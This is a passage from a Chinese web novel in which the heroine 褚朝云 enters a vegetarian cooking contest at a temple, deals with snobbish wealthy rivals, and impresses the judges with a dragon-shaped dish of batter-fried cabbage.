“施主,请跟小僧来。” 小和尚说罢,便引着三人往一侧走。 她来的是比较晚的,因为船上还有一些活要干完,不过这一路上褚朝云除了和尚,并没遇上其他的人,原以为来参赛的选手大概也没几个。 直到小和尚将她领到了选手们所在的院子,褚朝云才发现自己简直大错特错。 眼前粗略估算人数上百,此刻都聚集在院中等待分配住所。 除却她这种单枪匹马的,还有好些大门大户的参赛者,身旁更带了不少的仆从。 因着她来的最晚,所以才一进来,那些人便同时朝她望了过来。 只一见她的穿着打扮,众人又默默收回了视线。 虽说这一眼看着平常,但褚朝云还是从参赛者们的眼中,看到了些隐藏着的鄙夷和蔑视。 第56章 二更 小和尚示意褚朝云在这边等等,而后就又转身出去了。 趁着这个空档,褚朝云倒是有时间好好观察一下她的对手们了,女子寻了处空地站着,就那么直白的往人堆扫去,丝毫不介意方才自己才被大家鄙视过。 这一眼望去,连男带女,有老有少,黑压压一片,看的人着实要犯了密集恐惧症。 到底为什么会有这么多人? 魁首的奖励真的很丰厚吗?? 可这些人坐的起名贵马车,用得起管家仆人,怎么看也不该是缺这仨瓜俩枣的主儿吧??? 褚朝云脑子里一排排问号不停闪过,身旁跟着的两人也没忍住小声嘀咕起来。 这俩跟着她来,或者准确来说是看着她的看守目测是一对兄弟,高个子的叫徐大,是哥哥,矮个子的叫徐二,是弟弟。 褚朝云第一次听徐大这个名字时,就忍不住想起了赵管事赵大。 起初她还以为之所以叫赵大,是因为赵管事厉害,是大哥,其他人都是小弟,所以才这么喊。 不成想,赵大竟然真是赵管事的名字。 她觉得,蕤洲人起名真是又统一又随性的。 那看来,赵大家也不是独生子咯,至少还得有个赵二才行。 褚朝云一边用眼瞄着那群人,一边自娱自乐的想着,猛地一个回神,徐大徐二的话题已经进行了好久。 徐二:“所以,这莫名其妙的素斋大赛到底有什么特别的?为何会有这么多的人??” 徐大摸摸下巴:“无利不起早,必定好处颇多呗。” 徐二翻了个白眼:“哥,你在说废话。” 徐大:“你自己看啊,刚刚那小方丈还进来了一回,那人身披的袈裟价值千金,这寺庙有钱的很,恐怕背景地位并非普通世家所能比的。” 徐二听得一脑袋浆糊,正要问这句话是什么意思。 褚朝云就也没忍住,插了句嘴:“你大哥的意思是,长业寺不一般,所以这场比赛的含金量也是不同。” 只是她都这么说了,徐二依旧蹬着小眼睛犯愣。 褚朝云啧啧两声:“哎呀,蕤洲普通馆子的厨子和万春楼的厨子,他们虽说都是厨子,但同样一道菜的卖价可不同。” 徐二这次听懂了。 褚朝云琢磨了一会儿,偏头打量了一眼徐大,发现对方也在看着她。 二人彼此挑了挑眉,又默默收回了视线。 褚朝云其实对这些看守们的印象都不怎么好,尤其是赵大手底下那些人,个个眼珠子长在头顶上,看他们船娘跟看蝼蚁一般,仿佛船娘是他们的仆人。 可这二人听说并非是赵大手下,而是一直跟着钟管事。 再加上三人走这一路,徐家兄弟虽说也不怎么跟她搭话,可态度还是挺正常的。 有时见她走的累了,还会主动帮她拿一下小包袱。 三人结束议论,转眼便听到人堆里的说话声。 为首那人身着蓝衫,腰悬翠色玉佩,举手投足皆是贵气,瞧着就很不一般。 褚朝云刚看向他,就有人抱着拳往那公子身边凑,“敢问这位可是青州宗家的小公子,宗匀酌?” 宗匀酌斜去一眼,态度傲慢的点了下头。 那人见自己没认错人,立刻讨好的行了个大礼:“果真是宗公子啊,幸会幸会!在下是木远县许钰。” 宗匀酌一听对方来处,淡淡地“嗯”出一声,像是不预备跟他多交谈。 宗匀酌虽说如此不礼貌,但许钰倒是不怎么敢挑剔什么,而且宗匀酌也不知是什么来头,许钰挑破了他的身份后,就陆续有人上前去拜会。 就连那些一看年纪便高于宗公子的老前辈,在他面前也是点头哈腰的过分恭敬。 褚朝云一直看着那边,见众人皆是如此,心说,这人好大的气派! 若是不说从青州来,她还以为是京都过来的。 似是拜会宗匀酌的人多了,宗公子便抬了抬手,身边跟随的仆从忙从马车上取下包袱,包袱里是类似驱蚊香包之类的小玩意,闻起来味道也是一般。 仆从提着一包袱香包挨个给参赛者发,边发边说:“初次见面,这是我家公子的一点见面礼。” 众人见了,便又赔着笑脸的收了下来。 褚朝云三人跟他们那群人站的有些距离,从表面上,简直就像是上朝一样的分属两派,那仆从对着其他人虽说也是笑的敷衍,可轮到她这里,笑容就变脸似的收住了。 仆从从鼻腔中哼出一声,遥遥大步而来,打赏似的将香包递给了她:“喏。” 喏? 褚朝云瞥一眼那劣质香包,眼皮都没眨一下。 仆从被她不痛不痒的态度给刺到,眉头霎时拧起来:“这是我家公子给的,你敢不要?” 说着,手下像是故意一歪,香包直接掉在了她脚下。 褚朝云其实并不想在开赛前得罪人,至少在踏进长业寺的那一刻,她想的还是:尽管比赛第一,友谊第二,但和气生财,免得弄出不必要的麻烦。 可她一进门就先不招人待见了,这会儿要是没皮没脸的捡了香包,她自己都要鄙视自己了。 于是,褚朝云往旁侧挪开一步,跟那小香包拉开了距离。 然后才慢慢悠悠道:“多谢你们家公子大冬天的送驱蚊香包,但我确实用不到,就不浪费宗公子的一番美意了。” 仆从听得脸色巨变,瞪了她半晌像是实在没办法反驳,就踩了一脚香包,扭头回去了。 宗匀酌这见面礼送得半点不走心,与其说是挑选是没注意时节,不如说他就是有心想要给大家来个下马威。 不知道其他人看没看出这一点来,反正褚朝云觉得此人,很让她不舒服。 她说完这话,人群中寂静了好一会儿。 之后窸窸窣窣一阵响动,人堆里就走出一位美貌女子。 那女子一身月白长裙,头戴同色帷帽,走路时还能听到朱钗晃动的声响,显得她更是身姿窈窕。 女子径直走到“两派”中间,先是看了眼褚朝云,又将视线落回在宗匀酌的身上。 而后轻灵一笑,缓缓道:“素闻青州宗家的地位仅次于首富宋家,奈何宋家一招棋差没落了。不过今儿大家伙来到这蕤洲,目的只是为了长业寺的一场比赛,宗公子是否该把精力放在厨艺上才对呢?” 女子悠悠一句,顿时吸引了众人视线。 宗匀酌的仆从像是很得主子心,从来都没受过谁的教训,今日接连被两位女子奚落,心下委屈。 听罢,他猛地窜到女子身前,掐着腰恶狠狠道:“你又是何人?我家公子要如何做事,可是你能管的?!” 仆从说完,女子身旁的管家也立刻变了脸色:“放肆!这是京都唐家贵女唐淑,你一个小小的青州第二,也敢在咱们面前造次!” 京都唐家? 青州宗家? 褚朝云默默看着两方斗法,越发觉得这比赛的含金量确实不小。 怪不得她这一身的粗麻衣不被待见,原来在场之人竟都大有来头。 “青州第二”显然是宗家的一根刺。 而那管家到底是京都来的,很知道打蛇打七寸的道理,说起话来也是刀子一样的割人皮肉。 仆从似乎有些惧怕“京都”这一重身份,又知自己惹祸连累了家中公子,便只好干咳一声,强行解释道:“你又知道什么?我们家公子和宋公子历来交好,什么第一第二的,起容得你们在这儿挑拨离间。” 管家冷哼一声:“交好?是么~” 宗匀酌见家仆多说多错,忙开口道:“抱歉,是我管教不严。阿丁,还不跟人家道歉!” 那名叫“阿丁”的仆从闻言,气势终于弱了下去,不情不愿的咕哝了声。 这边的徐二看了一场好戏,随即低声道:“京都唐家好生气派啊,随便几句就把青州第二给压下去了。” 他才说完,褚朝云就和徐大异口同声道:“不是他们气派——” 二人登时错愕了下。 徐大给褚朝云行了个礼,又继续说下去:“青州首富案是大祁的禁忌话题,可那个叫阿丁的显然脑子不大好使,众目睽睽,竟敢说宗匀酌跟首富之子交好……哪怕过去确实是交好,可眼下,也需得撇清才行。” 褚朝云:“所以宗匀酌不是害怕唐家,唐家即便是京都名门望族,也不是皇族。他是怕唐家的管家去报官,那样,青州第二恐怕也要跟第一一个下场了。” 徐二左看右瞧,见褚朝云和徐大两人脸上都颇多凝重,不由得感叹一声:“你们两个……也好厉害啊。” 褚朝云正和徐大分析着此次参赛者的情况,方才说话的唐淑就朝她走了过来。 唐淑微微行礼,满面和善:“敢问姑娘来自何处?我叫唐淑。” 这便是有意想要结识她了。 方才唐淑也算是出言相助,褚朝云不能不领情,便也回了一礼:“褚朝云,我就是蕤洲本地的,连正经厨娘都算不上,不足挂齿。” 唐淑不介意地拉住她的手,声音低下来些:“褚姑娘不必理会那群人,都是些捧高踩低的家伙。” “那自然是。” 褚朝云温和一笑。 便在此时,去而复返的小和尚又领来了几名僧人,然后对着他们道了一声:“我先来讲一下比赛的规则,望施主们耐心听听。” “比赛分为三场,取淘汰制。” “为期六日,歇一日,赛一场。” “至于每场的比赛内容,会在当日赛前公布,这也是为了防止有人作弊。” 小和尚宣读完,声音又提高了些:“那么接下来,就请参赛者跟我们去临时居所歇息,非参赛者去另一处歇息。” 这便是要把家仆们隔绝在外的意思。 褚朝云看懂了,这次比赛是要参赛者绝对的亲力亲为,不可由旁人辅助,哪怕是洗菜、切菜这种粗活,也需得自己动手。 这么瞧着,新上位的小方丈还是挺有两把刷子的。 既然要分开来住,徐大徐二自然也不能跟着褚朝云了。 褚朝云伸手接过行李卷,故意磨蹭了会儿,然后就看到方才还有百十来号的人,这会儿真正跟着僧人走的,顿时就少了一大半。 “……” 果然仆从比选手还多。 褚朝云粗略估算了下,剩下的大概有四十人左右。 她目光转了两圈,正要迈步,唐淑就主动走了过来,“褚姑娘,我们一起吧?” “好的,唐姑娘。” 二人并肩落在队尾,而为首的,还是那位宗匀酌。 唐淑似是不太能瞧得上宗匀酌,没走几步,便跟她科普起来:“别看那位宗公子来势汹汹,实际上就是个纸老虎。听闻他当初有意想拜厨娘程月为师,最后吓得人家连夜离开青州,他还追了好几里路,当真可笑。” 褚朝云听得讶异,原来宗匀酌就是程月助手口中那钻营之人。 偷人家的菇子不说,还想拜师? 其实从那日助手的话中,褚朝云对那首富家的宋公子印象倒还不错。 可宋公子和宗匀酌交好……她又有些拿不准那位宋公子的人品了。 算了。 人都死了。 她还想这些来做什么。 唐淑几句说完,见褚朝云没怎么吭声,便好奇的望过来,“褚姑娘?你可再听吗?” 褚朝云茫然回神,一脸歉意道:“嗯……再听。” 唐淑微笑着点了点头,挽着她继续说:“唉……我还在这里讲人家的是非,其实我于厨艺也不甚精通,奈何家父非要我来此参赛,可真是不知该如何是好了。” 听唐淑抱怨,褚朝云便觉得此女子在家中一定过得很是幸福。 可她刚跟唐淑相识,也不知该怎么安慰对方,便回应了一句:“那就既来之,则安之?” 唐淑“噗嗤”乐了:“也对,反正就算我到时候拿个倒数回去,恐怕家父也不会将我如何,顶多骂几句罢了。” 正说着话,前方的僧人就停了下来。 这长业寺的院落实在不少,刚刚七拐八绕的一通走,褚朝云觉得自己都要变成路痴了。 僧人停在一座院落前,对着大家略施一礼:“各位女施主,这里是我寺中女香客所住的厢房,大家自去选一间住便好,今日歇息,比赛在明日午后进行。” 说罢,又带着余下的男子们去往另外一处。 褚朝云抬头望了一眼院落门前的松柏,兀自想着,若是在春日,这处院落必定是清幽至极,美不胜收的。 冬日未免萧瑟,温吞的白雾笼罩着古朴的砖墙,倒显得毫无生气一般。 不过寺中到处都燃着檀香,闻起来令人内心平静,也算是冲淡了些微乏味烦闷感。 褚朝云和唐淑一直走在最后,所以位置好一些的厢房都被旁人挑完了,只剩下两间靠着院道的,唐淑进了倒数第二间,最后一间便是褚朝云的了。 寺庙的厢房都是统一的配置,一扇窗,一张床,一张小方桌。 小房间呈长方形,窄小的很,再多的就没有了。 今个赶路赶了两个时辰,过来之后又是一番周折,此刻褚朝云也顾不上欣赏什么,索性脱了鞋子上床去躺着。 刚有参赛的念头时,她的确天真,还指望着在船上做饭,再让张满春他们带过来。 现在看来,若不是做了程月的徒弟,这比赛她怕是想破天也无法参加了。 得知晚膳会有人送到房里,她也就歇的安心。 如今褚朝云也算有幸下了几回船,可越是如此,她就越是有一种极度的渴望—— 不想再回到那里去。 所以,真的要好好面对这次比赛。 她总觉得只要自己能夺魁,或许就真离设想的目标又近了一步。 不知不觉,褚朝云就睡着了,香火味能安抚人心,她睡得倒是比哪一次都踏实。 等到小和尚来送晚膳,隔壁无聊了半晌的唐淑也趁机走了出来,“褚姑娘,我能跟你一起用饭么?一个人实在无趣。” 褚朝云示意她进来。 唐淑似乎很高兴,一进门就摘了帷帽,像是并不介意床是褚朝云躺过的,就那么大刺刺地将帷帽丢在了上面。 女子头上朱钗不少,且支支名贵。 她坐到方桌前,低头看一眼送过来的饭菜,顿时就是一副食不下咽的表情。 “怎么了?” 褚朝云坐过来,也往碗里瞟了眼。 只见那其中装了一整碗的清粥,另一只碗中似是有几片烫过的菜叶子,连点下粥的咸菜都没有,妥妥的素斋无疑。 唐淑吃惯了好饭,这东西连他们家的仆从都吃不下去。 二人对望一眼,褚朝云也是无奈。 唐淑索性将几只碗推到一边,然后神秘兮兮地说:“其实来的时候,我让家中仆从带了些食材,不如我去取来,咱们找个厨房自己做点来吃?” 褚朝云盯着那几只碗没有回应,像是在思考对方的主意可不可行。 唐淑又道:“方才一路上过来,我看到好些厨房,这长业寺的确大得很,僧人目测得上百人,应该不会所有厨房都被占上了吧?” “那万一呢?” 褚朝云开口说了句,然后便将那碗粥拿过来,就着毫无咸淡的菜叶子吃了起来。 唐淑看的简直嗓子眼痛,不由得惊叹:“你还真吃的下?” 他们这些人多多少少都是会点厨艺的,即便有的不那么精通,日常也是吃惯了美食的。 乍一看到这么一堆,吃不下确实是正常反应。 见褚朝云已经吃完了半碗粥,唐淑就撑着下巴说:“其实我一直不太懂这素斋有什么好比的,都是些没什么味道的菜叶子,做来做去,不也还是那个味儿?” 褚朝云咽下最后一口粥,也轻蹙了下眉:“那小和尚什么都不说,连提示都没有,确实有点抓瞎。” 唐淑“嗯嗯”着点头,不知想到什么,轻叹口气:“可惜那程娘子不收徒弟,否则若是她的徒弟来了,定能勘破其中门道!” 褚朝云放下空碗,“说的就是。” 唐淑最终还是没吃晚饭,褚朝云只好喊来小和尚收了饭菜,二人在屋中待的烦闷,便结伴出来走走。 只是这寺庙太大,他们也不敢走得太远,要是不认得回来的路可就麻烦了。 …… 一夜过后,天总算放晴了些。 褚朝云出来洗漱时,正听到其他参赛者此起彼伏的抱怨声。 “昨个那粥你吃了没?食之无味!” “所以这素斋还比个什么劲儿呢?来了香客,就给他们烫一烫菜,熬点粥喝了不就完了吗?” “听说以前给长业寺供应素斋的是什么酒楼吧?你们有谁吃过没?他们都做的什么啊?” “我倒是来过一次,好像跟昨晚的也差不多少吧。” “差不多少干嘛要从酒楼订?有钱?是不是太过任性了些?” 一群人叽叽喳喳没完,连唐淑都想跟过去起哄几句。 褚朝云站在一旁听,待看到有僧人过来,便走上去行了个礼:“麻烦问下,今日的早膳,我们还在房中用吗?” 僧人还了一礼,“不,等下会有人来带你们去香客用膳的地方。” 那就是每逢初一十五庙门大开时,香客们吃饭的食客厅了。 褚朝云和僧人又施一礼,就继续站在一旁耐心的等。 果不其然,没等多久,昨个宣布赛制的那名清禅小和尚就从院道一侧走了进来,在他身后还跟着些男参赛者们。 清禅师傅俨然是先去接了他们再过来的。 “各位施主,请跟我来。” 对方在前面带路,参赛者们便都噤了声,慢吞吞的跟在后面。 褚朝云和唐淑依旧走在最末,在他们前面的,则是宗匀酌和许钰。 许钰不知怎么搭上了宗公子,这会儿二人倒是一副很熟识的样子。 两人路还没走出三步,许钰就接连问了对方好几个问题,比如“昨晚睡得如何?”“晚饭吃的可好?”“今个精神足不足?”等等。 几乎以一己之力,直接接替了仆从阿丁的地位。 褚朝云随便听了两句,便心中有数了。 大概是这许钰不知从什么途径得知寺中斋饭不好吃,为了讨好宗匀酌,提前准备了美酒好菜带过来。 昨晚宗匀酌大概跟他们过得不一样,而是饱餐了一顿。 许钰话痨似的一句又一句,宗匀酌也只是敷衍的“嗯”了几声。 许公子又嘀咕了两句什么,唐淑便在身后插嘴道:“咱们是来比赛的,不是来巴结何谁的,许公子有这精气神儿,不如好好想想午时的比赛要做些什么。” 许钰知晓她的身份,倒是没怎么敢还嘴。 反倒是宗匀酌,似是很反感她,不善的瞥去一眼道:“没想到唐小姐一介闺秀,操心的事情还真不少。” 唐淑冷笑:“我只是好言相劝,而且这素斋比赛奇怪的很,昨个的饭菜你们也都见识过了。恐怕……除了那位厨艺精湛的程娘子,旁人是别想夺魁了。” 褚朝云见她又提程月,不由得往宗匀酌那看了一眼。 宗匀酌果真被激怒,态度更加傲慢起来:“就算程月来了又怎样?不过也是个厨娘而已!” 唐淑惊讶:“厨娘而已?宗公子好大的口气,小女子实在佩服。” 她忽的转了态度,笑呵呵道:“不过我就不像你了,我若是能得程娘子一句指点,定会感恩戴德记上一辈子。虽说这比赛我无意参加,但既然来了,总要尽力才是。” 宗匀酌像是不愿跟她继续掰扯,走的快了几步,登时就跟他们拉开了距离。 褚朝云见人被气跑了,不由得失笑:“你何故非要提这个气他。” 唐淑则垮下脸来,顿时也没了方才那盛气凌人的姿态:“其实也没有,我只是……真的很敬佩程娘子,还有,我确实不知该如何应对比赛。” 她又挽住褚朝云,无奈道:“走吧,我们去吃早饭。” 早膳和昨个晚膳看着差不太多,只是把粥换成了馍,又多配了一碗汤水而已。 一群人呜呼哀哉半晌,唯有褚朝云吃的还算平静。 吃过早饭大家便各自回了厢房,眼见午时临近,说不紧张是骗人的。 褚朝云正坐在方桌前想着什么,门就被敲响了。 来人还是清禅师傅,小和尚示意褚朝云跟他往厨房去,褚朝云就痛快的迈出了门。 厨房便是昨个唐淑口中的其中一间。 褚朝云跟随途中又路过几个,见大部分的门都关着,门口又站了僧人,想来里面已经有其他的选手在准备了。 她被带到属于自己那间,随即跟了进去。 清禅师傅在厨房站定,转过身,然后指着竹筐中的几样食材,表情平静道:“限时一个时辰,请施主用这些食材做一道素斋出来。” 说完,人就走了出去。 门在外面被关上,隔绝出一片静谧的空间。 褚朝云往竹筐里看了看,眉头一挑。 哦,原来是这么个比法,有命题的。 第57章 二更 褚朝云扒拉扒拉竹筐,将那几样食材全部取出,然后一一摆开在小桌上。 面粉,鸡蛋,外加一棵新鲜的菘菜。 果然是半点肉腥都没有的素食。 对于限时一个时辰来说,做饭的时间尚且够用,可褚朝云却并没急着动手,而是倚在方桌边思索。 其实这两日参赛选手们抱怨的事,也并非全都是无用的,再加上昨晚和今早的饭食,这长业寺内平日吃的基本大差不差…… 只“素斋”二字就把条件框得死死的,很难搞出什么新奇的花样。 褚朝云试着去想这些食材能做出的菜式,把常见的一些普通做法全部剔除掉,最后砸吧砸吧嘴,心说,那好像也不剩什么别的做法了。 此刻,屋外很是安静,只远远的,能听到些和尚念经的声音。 褚朝云不由得将门推开一个小缝,门外的僧人见了,立刻提醒道:“请施主专心比赛,勿要左顾右盼。” “……” 她收回探出的脑袋瓜,顺手又关上了门。 总觉得自己像是在现世考试,然后被监考老师抓了包。 褚朝云伸手拿起鸡蛋,目光又看向面粉处,半垂了下眼,直奔灶台旁的橱柜里取了只小盆出来。 顺手先将鸡蛋外皮清洗之后,她又取出一捧面放在盆中,然后加入一点盐,把搅碎的鸡蛋液倒入,最后开始一边加水一边搅拌。 水不好加的太多,因为搅拌出来的糊糊要稍稍的干一些才好用。 这边弄好之后,她就把竹筐里的菘菜也拿出来,毕竟这是做出来比赛用的,又不是给香客食用,所以并不需要做的太多。 褚朝云只掰了几片下来,用水洗净后,就把它们全部切成了细长条。 …… 门外坚守岗位的僧人大概站了有半个多时辰,才看到厨房上面的烟囱开始出烟。 僧人微微皱眉,转头向其他参赛者那处望,有一些厨房烟囱里的烟,早就散的差不多了,还有一些都开始上交成品了。 这四十多名的参赛选手里,褚朝云应当是速度最慢的。 但僧人也不过是随便想想,出家人不涉红尘事,他内心平静,倒不会起什么波澜。 僧人只是严格计算着时辰,在还有一刻钟就要结束的时候,走上前来敲门提醒:“褚施主,时辰快要用尽了。” “好,请再稍等片刻!” 褚朝云将最后一点菘菜条盛出,而后笑着推开了房门。 她将做好的吃食端出,直接递到僧人手中,然后便跟着僧人一起前往食客厅。 和来报到那日一样,褚朝云依旧是最晚到的。 此刻,不大的食客厅中密密麻麻又站了一堆的人,除了负责照顾他们起居的清禅师傅,还有身披紫金袈裟的年轻方丈空释。 方丈空释虽说看着只有三十出头,但正如徐大分析的那样,这位派头十足,显然来路不小。 这次比赛的主要评判除了他和清禅,为了保持比赛的透明度,空释还请来了两位香客。 两位香客中,一位是蕤洲有名的富户家主,另一位则是开小馆子的老板娘。 评判们坐在厅中首位,时辰一到,便陆陆续续有僧人端吃食上前。 四人面前都放着一碗清水,每尝一口便要净口一次。 人群里,唐淑正焦急的往门外寻着,管家见她如此模样,小声问了句:“小姐,您可是要找谁?我去帮您寻寻?” “我在找褚朝云。” 唐淑俨然有些不耐烦。 管家寻思了一会儿,似是没太记起哪个是褚朝云。 唐淑“啧”出一声,似乎耐心用尽,便挥了下帕子说:“算了算了,别找她了。” 身旁站着的宗匀酌闻言嗤出一声,幽幽道:“唐小姐虽是名门贵女,但却难得的平易近人啊!这才一夜过去,就跟那种上不得台面的女子成了好姐妹么?” 宗匀酌阴阳怪气,贴上他的许钰自然也不能干看着。 许钰咳了两声,清清喉咙,而后也附和道:“恐怕是那褚朝云自觉厨艺拙劣拿不出手,今个吃过早饭便偷偷跑了吧?” 宗匀酌哼出一声。 许钰又道:“哎呀呀,虽说这人是跑了,但怎么想也都不亏的。” 唐淑剜了他一眼,但还是问道:“为何?” 许钰惊诧地捂了下嘴,一脸不可置信地看着眼前光鲜亮丽的女子:“怎么说也是蹭了两顿斋饭呢!你看她那一身穷酸打扮,平时吃不吃得饱,都还不一定呢。” 这边一唱一和好不热闹,那边等开始等的无聊的参赛者,似乎也找到乐子一般加入进来。 “褚朝云是谁啊?以前没听过这号人啊?” “要怪就只能怪空释大师把报名条件放的太低,什么只要有慈悲心肠就能参加,慈悲跟厨艺有半点关系吗?” “虽说这报名条件听着不可理喻,但褚朝云蹭吃蹭喝又逃跑,这事倒是难得的新鲜有趣,哈哈哈——” 有人先笑,其余人也都跟着笑出声来。 人群里,唯有宗匀酌和唐淑表情未变,这二人,一个把头扬的高高的,看着无比傲慢,另一人却眉头深锁,面上藏着几分看不太出来的异样情绪。 众人正笑个没完的时候,褚朝云就进门了。 褚朝云目光在参赛者之中巡视一圈,然后就看到了角落里的徐大和徐二兄弟。 她正要过去,唐淑就笑着朝她挥手:“褚姑娘,过来这里!” 褚朝云微一点头,迈步过去,等在一旁的徐家兄弟也主动跟了过来。 刚刚发笑的那群人见女子又出现,顿时面色不善的瞪来一眼,就连高高在上的宗匀酌和一脸舔狗相的许钰,表情也是难看的要命。 褚朝云压根就没注意到他们的神情,因为懒得理。 那些人见她穿的破烂,又不是什么名门贵女,他们之间早就等同于撕破了脸皮。 她也就没必要硬装和善了。 褚朝云一站过来,唐淑就亲热的拉住她的手。 她朝对方看去一眼,女子依旧戴着帷帽,一说话,头上朱钗就碰撞出好听的响动。 只是这会儿食客厅中人员太多,有些憋闷,唐淑便将帽帘给撩了上去。 大祁没有规定过女子出门一定要戴帷帽,所以这帷帽也并非是什么必备品。 褚朝云站定之后,先是往几位评判那看去一眼,然后才把视线落回唐淑身上:“昨晚见过你们管家了?” 她随口说道。 毕竟今个一早吃过饭,他们就各自回了房中等待比赛,方才又忙忙碌碌好半天,几乎是没什么时间见仆从的。 唐淑并不知她为何有此一问,只是讶异地摇了摇头:“当然没,我倒是想见的。” 唐淑偶尔就会露出一副娇娇的样子,想来这性子也是天生便有。 褚朝云没说什么,扬扬下巴:“开始了。” 唐淑便也闭了嘴。 众人专心致志地往上首处看去,流水的菜式也一一被送了上来。 “这是,儒阳县蔡庆施主做的素斋。” 僧人边报,边递上盘子。 参赛者们望了一眼站在角落里的蔡庆,又看向那被端上去的吃食,顿时露出了幸灾乐祸的表情。 蔡庆为人可能有点实诚,见昨晚和今早的吃食都清淡至极,索性也来了个清淡套餐。 寺中准备的面粉他是一点都没用,就做了个水煮蛋搭配水煮菘菜,连盐都没放。 水煮套餐端到空释面前,大师父微微蹙眉,但还是用筷子夹了一片来吃。 空释的表情虽说平静,不过参赛者们俨然绷不住了。 “哈哈哈我天,蔡庆是什么天才,做的比人家长业寺的斋饭还要寡淡!” “大师父都被他的饭菜惊到无话可说。” “这要是哪位香客吃了他做的饭,恐第二日就要改去别间寺庙了。” 蔡庆听到大家几番奚落和嘲笑,脸整个就红了起来,他本想着寺中斋饭不就是要这种寡淡些的才好么,自己照葫芦画瓢总不会出错。 可见清禅师傅的面色都起了些微变化,蔡庆便知,自己恐怕是一定要出局了。 果不其然,四位评判尝过之后当场就判他淘汰,蔡庆一捂脸,后面的比赛也是没心思再看了。 第一位结束后,第二位的吃食也被端了上来。 这位比蔡庆好那么一点,直接烙了一张鸡蛋饼,不过菘菜没有用上,自然也是被淘汰的命运。 在之后,五花八门的菜式一个接着一个。 有的直接拿菘菜包馅儿,有的就干脆炒了一盘菘菜鸡蛋。 结果,出局的牌子放下又举起。 没多久,参加比赛的选手就少了十多名。 原本才初赛就弄到这般惨烈,选手们的信心顿时大受打击。 直到一碗珍珠汤端上之后,四位评判并参赛者们的脸色才稍稍好看了一点。 这份珍珠汤是宗匀酌做的,用面粉搅拌出些颗粒均匀的面疙瘩来煮汤,鸡蛋和菘菜也是直接下到汤中去的。 也算是连主食带菜,全部都齐全了。 这份吃食看着倒是精致,不过就是味道有些一般,因为厨房没有给他们提供丰富的调料,所以宗匀酌就只好放了些盐进去调味。 空释思索片然,拿起身侧一直没动过的红牌子举了一下。 清冷的声音庄严肃穆:“宗施主,过关。” 宗匀酌能过初赛并不叫人意外,此人虽说多有傲慢,但并非真是个草包,身上还是有那么一些本事的。 众人一见他过关了,各种吹捧的言语自然是要说上几句。 可褚朝云实在不耐烦听这些拍马屁的废话,索性往远站了站,和那群人拉开了些距离。 宗匀酌之后便是许钰,许钰做了一份鸡蛋饼卷菘菜丝,这一道新意不多,但胜在许钰的厨艺确实不错,否则他亲手带来的那些吃食,也不会得到宗匀酌的喜欢。 所以许钰,也顺理成章的通过了。 跟着又有些参赛者通过了初赛,然后,就只剩下唐淑和褚朝云的还没端上来。 唐淑像是有些紧张,一转头见褚朝云站的老远,便跑过来又拉住她:“怎么办啊褚姑娘,我好害怕初赛就要出局。” “不会的,你肯定能过关。” 其实褚朝云说的这话还真不是单纯安慰,也不知那些僧人是不是故意,她总觉得被端上来的吃食不是按照提交的先后顺序,而是菜式的好坏。 所以起先被端上来的那些全部都被判出局,而之后的,则极少有不过关的了。 唐淑既然有本事排在宗匀酌之后,想来厨艺并不简单。 随着众人好奇的目光探去,僧人将唐淑所做的吃食端上了桌。 唐淑做的也是一张饼,只不过并非是普通的油饼或鸡蛋饼,而是外表看着精美漂亮的千层饼。 那饼皮一拉起来,顿时脱开许多层,而每一层内里,也都裹了鸡蛋和菘菜搅拌出来的馅料。 美观不说,闻着也是香气四溢。 宗匀酌见这饼皮的千层恰到好处,登时狠狠瞪来一眼。 唐淑的吃食通过的非常顺利,几乎没一人犹豫,就全部举了红色的牌子。 就在宣布她通过的那刻,唐淑立刻就看了眼褚朝云。 褚朝云眼中盛着几分惊艳,不吝夸赞道:“唐姑娘,果然好厨艺。” “你也觉得……这个做的很好吗?” 她似乎很不好意思,目光灼灼地看着褚朝云。 褚朝云则表情未变,笑意依旧停在嘴角:“当然,我都想去吃一口了。” 唐淑眼中略过几分小得意,随即笑道:“那我有空做给你吃。” 二人正说着话,最后一道菜也被端了上来。 如果说宗匀酌的珍珠汤让人意外,唐淑的千层饼又惹人垂涎,那么褚朝云这道菜再露出真容的时候,全场基本上是鸦雀无声。 仿佛大家全被捂住了耳朵,寂静的还有点说不出的诡异。 不多时—— “这?” “这??” “这……” 接连三声惊叹爆出,虽说语气不同,但脱口而出的却全都是这一个字。 说不上是惊讶还是惶然,总之就连空释,都下意识地站起了身。 众人只见,白色的瓷盘中,一条条白绿组成的菘菜条挺拔如松,近看这摆盘或许难以分辨,但远瞧,这分明就是一条栩栩如生的小龙。 龙头龙身和龙尾,虽说用的只是交织成片的菘菜条,但看着就是有一种大气磅礴的凛然之感。 加之菜条四周那雪花般的白霜,细细观瞧,便如一条盘亘在云层中,随时准备冲入九霄的巨龙。 妙啊! 空释和清禅对视一眼,眼中皆是震撼的神情。 女香客似乎也感叹如此神作,起身有些激动的看向参赛者们:“敢问,褚朝云褚姑娘是哪位?” 褚朝云见被点到了名字,立刻走出来行了一礼:“我是。” 她不卑不亢地态度另女香客有些刮目相看,女香客便微笑着走上前来,“可否请褚姑娘介绍一下,这道菜的做法?” 褚朝云看了一眼四名评判旁边放着的筷子,有些纳闷:“您几位……不先尝尝看吗?” 她一说话,闷在队伍里不爽了好半天的许钰顿时找到借口:“就是啊评判,这好看可不见得就好吃,品评一道菜式,不应该是从色香味俱全来下手的吗?” 其余人也酸涩道:“就是啊,摆盘而已谁不会啊,我还会摆百鸟朝凤呢!” 女香客倒是不介意那些人的酸气,拿起筷子夹了根菘菜条说:“主要这摆的挺好看的,我都舍不得下筷子了。” 说着,还是吃了一条。 “咔吧咔吧”的声音从她口中传来,女香客登时惊奇道:“好脆啊!这吃着简直不像是菜,反倒像……小炸鱼~” 她说罢,空释几人也分别夹了一块。 而后,酥脆声再度响起,弄得参赛者们也纷纷开始流口水。 此刻,宗匀酌总算按捺不住,于是他走出人堆,愤愤不满道:“比赛需得用上三样食材,你这盘中只见菘菜,不见面粉和鸡蛋,我想请问一下褚姑娘——” 他似是气急,“褚”字含在口中讲的咬牙切齿:“你其他两种食材呢?” 宗匀酌一开腔,连唐淑也跟着望了过来。 褚朝云扫他们一眼,目光再次回到几位评判身上,然后缓缓说道:“这道菜名为挂糊炸菜,我先是用鸡蛋液和水搅匀了面粉,之后便给菘菜挂足了面糊下锅油炸。” 女香客听得有些惊喜,追问道:“所以那些挂在菘菜上的白霜,其实就是面粉和鸡蛋?” “是的。” 褚朝云有问必答。 “这奇思妙想,确实独特。” 女香客又道。 只是褚朝云刚介绍完这道菜的做法,参赛者们又继续开腔:“炸的?呵呵,讲好了是素斋,褚朝云你用了那么多油去做炸食就是违规!” 